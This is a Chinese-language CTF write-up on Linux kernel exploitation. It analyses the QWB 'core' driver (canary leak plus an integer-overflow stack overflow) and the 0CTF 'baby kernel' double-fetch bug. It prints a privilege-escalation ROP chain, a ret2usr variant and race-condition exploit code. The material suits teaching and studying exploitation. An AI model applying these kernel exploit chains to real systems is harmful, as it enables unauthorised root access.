Linux Kernel Pwn技巧总结_2
字数 1490 2025-08-05 19:10:07
Linux Kernel Pwn技巧总结 - ROP构造与Double Fetch利用
前言
本文是Linux Kernel Pwn技巧的第二部分,主要讨论ROP构造以及Double Fetch的利用方法。这些技巧在内核漏洞利用中至关重要,特别是当需要绕过现代内核保护机制时。
环境准备
题目分析
题目提供了三个文件:
- bzImage:压缩的内核镜像
- core.cpio:文件系统镜像
- start.sh:启动脚本
启动脚本内容:
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
关键点:
- 开启了KASLR保护(内核地址空间布局随机化)
- 使用-s参数开启gdb调试端口
文件系统分析
init文件中的重要部分:
cat /proc/kallsyms > /tmp/kallsyms # 将内核符号表导出到/tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict # 限制内核地址信息
echo 1 > /proc/sys/kernel/dmesg_restrict # 限制dmesg输出
poweroff -d 120 -f & # 120秒后关机(调试时可删除)
驱动分析
驱动文件core.ko的checksec结果:
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
漏洞分析
驱动功能
驱动提供了三个主要功能:
- core_ioctl:
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) {
switch (a2) {
case 1719109787: core_read(a3); break;
case 1719109788: off = a3; break; // 设置off值
case 1719109786: core_copy_func(a3); break;
}
return 0LL;
}
- core_write:
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) {
if (a3 <= 0x800 && !copy_from_user(&name, a2, a3))
return (unsigned int)a3;
return 4294967282LL;
}
- core_read:
unsigned __int64 __fastcall core_read(__int64 a1) {
// ...初始化栈变量...
strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, (char *)&v5 + off, 64LL); // 信息泄漏点
// ...
}
- core_copy_func:
signed __int64 __fastcall core_copy_func(signed __int64 a1) {
if (a1 > 63) {
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
} else {
result = 0LL;
qmemcpy(&v2, &name, (unsigned __int16)a1); // 整数溢出漏洞点
}
return result;
}
漏洞点
-
信息泄漏:
- 通过core_read函数,可以泄漏栈上的数据
- 通过设置off值,可以泄漏canary
-
整数溢出:
- core_copy_func中参数a1是有符号64位整数
- qmemcpy中a1被转换为无符号16位整数
- 可以设置a1=0xffffffffffff0200绕过检查(>63检查失败),但在qmemcpy中实际使用0x0200
利用方法
1. ROP利用
利用步骤:
- 设置off值(如0x40)
- 调用core_read泄漏canary
- 调用core_write构造ROP链到name字段
- 调用core_copy_func触发溢出,劫持控制流
ROP链构造:
目标是执行commit_creds(prepare_kernel_cred(0))提权。
由于KASLR开启,需要计算偏移:
- 从/tmp/kallsyms获取prepare_kernel_cred和commit_creds地址
- 计算偏移:offset = qemu中的地址 - vmlinux中的地址
ROP链示例:
unsigned long int rop_content[] = {
0x9090909090909090, // padding
// ...更多padding...
canary_, // 泄漏的canary值
0x9090909090909090, // padding
pop_rdi_ret + offset, // pop rdi; ret
0x0, // 参数0
pkd_addr, // prepare_kernel_cred地址
pop_rdx_ret + offset, // pop rdx; ret
cc_addr, // commit_creds地址
mov_rdi_rax_jmp_rdx + offset, // mov rdi,rax; jmp rdx
swapgs_popfq_ret + offset, // swapgs; popfq; ret
0, // popfq的参数
iretq_ret + offset, // iretq; ret
(unsigned long)getshell, // 返回用户态后执行的函数
user_cs, // 保存的用户态cs
user_flag, // 保存的flag寄存器
user_rsp, // 保存的用户态栈指针
user_ss // 保存的用户态ss
};
关键点:
- 需要保存和恢复用户态寄存器
- 使用swapgs指令切换GS寄存器
- 使用iretq指令返回用户态
2. Ret2usr
与ROP类似,但将提权过程直接写成用户态函数:
void getroot() {
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_cred;
(*cc)((*pkc)(0));
}
ROP链简化为:
unsigned long rop[20] = {
// ...padding和canary...
getroot, // 直接调用用户态函数
swapgs_popfq_ret + offset,
0,
iretq_ret + offset,
getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};
原理:内核可以访问用户空间,以ring 0特权执行用户空间代码。
3. Double Fetch利用
以2018 0CTF Finals baby kernel为例:
漏洞分析
关键函数baby_ioctl:
signed __int64 __fastcall baby_ioctl(__int64 a1, __int64 a2) {
if ((_DWORD)a2 == 26214) {
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
}
else if ((_DWORD)a2 == 4919 &&
!_chk_range_not_ok(v2, 16LL, 0x7ffffffff000) && // 检查用户空间指针
!_chk_range_not_ok(*(_QWORD *)v5, *(signed int *)(v5 + 8), 0x7ffffffff000) &&
*(_DWORD *)(v5 + 8) == strlen(flag)) {
// 逐字节比较flag
for (i = 0; i < strlen(flag); ++i) {
if (*(_BYTE *)(*(_QWORD *)v5 + i) != flag[i])
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
}
}
利用方法
- 结构体构造:
struct Flag {
char *flag_str;
unsigned long flag_len;
};
-
条件竞争:
- 主线程:调用ioctl进行验证
- 子线程:在验证通过后,将flag_str修改为内核flag地址
- 利用时间差绕过检查
-
EXP关键部分:
void *thread_run(void *tt) {
struct Flag *flag = tt;
while(!finish) {
flag->flag_str = flag_addr; // 不断修改为内核flag地址
}
}
int main() {
// ...初始化...
ioctl(fd, 0x6666); // 获取flag地址
system("dmesg | grep \"Your flag is at \"");
pthread_t t1;
pthread_create(&t1, NULL, thread_run, flag);
for(int i=0; i<0x1000; i++) {
int ret = ioctl(fd, 4919, flag);
if(ret == 0) break; // 成功
flag->flag_str = s; // 重置为用户空间地址
}
// ...
}
替代方法:侧信道攻击
- 将字符放在page末尾
- 当访问下一个字符时会触发page fault
- 通过crash信息逐位推断flag
总结
-
ROP构造:
- 泄漏canary绕过栈保护
- 计算KASLR偏移
- 构造提权ROP链
- 正确返回用户态
-
Ret2usr:
- 利用内核可以访问用户空间的特性
- 将提权代码放在用户空间
- 减少ROP链复杂度
-
Double Fetch:
- 利用内核与用户空间的数据竞争
- 通过多线程修改关键数据
- 绕过内核的检查机制
关键区别:
- 用户态Pwn:目标是获取shell
- 内核态Pwn:目标是提权(root权限)